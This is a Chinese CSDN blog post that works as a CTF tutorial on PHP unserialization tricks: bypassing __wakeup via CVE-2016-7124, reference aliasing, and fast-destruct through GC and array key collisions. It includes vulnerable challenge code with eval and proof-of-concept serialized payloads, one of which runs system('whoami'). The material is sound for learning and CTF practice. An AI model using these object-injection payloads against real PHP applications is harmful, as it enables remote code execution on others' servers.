反序列化中_wakeup的绕过_wakeup绕过-CSDN博客
__wakeup
绕过
cve-2016-7124
影响范围:
- PHP5 < 5.6.25
- PHP7 < 7.0.10
正常来说在反序列化过程中,会先调用 __wakeup()
方法再进行 unserilize
的操作,但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,__wakeup()
的执行会被跳过。
地址赋值
题目[UUCTF 2022 新生赛]ez_unser
<?php
show_source(__FILE__);
###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
poc
<?php
class test{
public $a;
public $b;
public $c;
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=new test;
$a->a=&$a->b;
$a->c="system('whoami');";
echo serialize($a);
//O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:17:"system(\'whoami\');";}
test1
<?php
highlight_file(__FILE__);
class ctf{
public $key;
public function __destruct()
{
echo "destruct<br>";
$this->key=False;
if(!isset($this->wakeup)||!$this->wakeup){
echo "You get it!";
}
}
public function __wakeup(){
echo "wakeup<br>";
$this->wakeup=True;
}
}
$a=new ctf;
$a->wakeup=&$a->key;
echo serialize($a);
//O:3:"ctf":2:{s:3:"key";N;s:6:"wakeup";R:2;}
PHP GC 回收机制(fast destruct)
PHP GC 回收机制
在 PHP 中,是拥有垃圾回收机制 Garbage collection 的,也就是我们常说的 GC 机制的,在 PHP 中使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为 NULL ,或者没有任何指针指向时,它就会被变成垃圾,被 GC 机制自动回收掉;那么当一个对象没有了任何引用之后,就会被回收,在回收过程中,就会自动调用对象中的 __destruct()
方法。
分析一下
php创建变量
当我们 PHP 创建一个变量时,这个变量会被存储在一个名为 zval 的变量容器中。在这个 zval 变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。
第一个字节名为 is_ref
,是 bool 值,它用来标识这个变量是否是属于引用集合。PHP 引擎通过这个字节来区分普通变量和引用变量,由于 PHP 允许用户使用 &
来使用自定义引用,zval 变量容器中还有一个内部引用计数机制,来优化内存使用。
第二个字节是 refcount
,它用来表示指向 zval 变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。
is_ref
为布尔值,refcount
为指向该变量容器的变量个数
<?php
$a = "test";
xdebug_debug_zval('a');
//a: (interned, is_ref=0)='test'
?>
添加一个引用
<?php
$a = "test";
$b = &$a;
xdebug_debug_zval('a');
//a: (refcount=2, is_ref=1)='test'
?>
使用unset
减少refcount
再进行一尝试
<?php
$a = "test";
$b = &$a;
$c=&$b;
xdebug_debug_zval('a');
unset($a);
xdebug_debug_zval('a');
?>
unset()
当 is_ref 为false,会触发 __destuct 魔术方法,由此产生的一些 trick 类型攻击
<?php
//highlight_file(__FILE__);
class test{
public $num;
public function __construct($num) {
$this->num = $num;
echo $this->num."__construct"."</br>";
}
public function __destruct(){
echo $this->num."__destruct()"."</br>";
}
}
$a = new test(1);
unset($a);
$b = new test(2);
$c = new test(3);
结果
1__construct</br>
1__destruct()</br> ***
2__construct</br>
3__construct</br>
3__destruct()</br>
2__destruct()</br>
发现unset可提前触发析构方法
数组
ctf.php
<?php
highlight_file(__FILE__);
$flag = "flag{test_flag}";
class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a = unserialize($_GET['ctf']);
throw new Exception('nonono');
这里因为有异常处理,所以正常情况下是无法__destruct
,需要快速触发__destruct
poc
<?php
// highlight_file(__FILE__);
class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a=array('a'=>new B,'b'=>NULL);
echo serialize($a);
//a:2:{s:1:"a";O:1:"B":0:{}s:1:"b";N;}
这时我们将键名b
改成a
,即在反序列化时,会下先让a
赋值为类B
,之后再将a
赋值为NULL
,但一开始a
已经是对象了,赋值为NULL
时就会出现对象为NULL
的情况,从而触发__destruct
。
a:2:{s:1:"a";O:1:"B":0:{}s:1:"a";N;}
字符串
1.改变属性个数
2.删掉结尾的}
说些什么吧!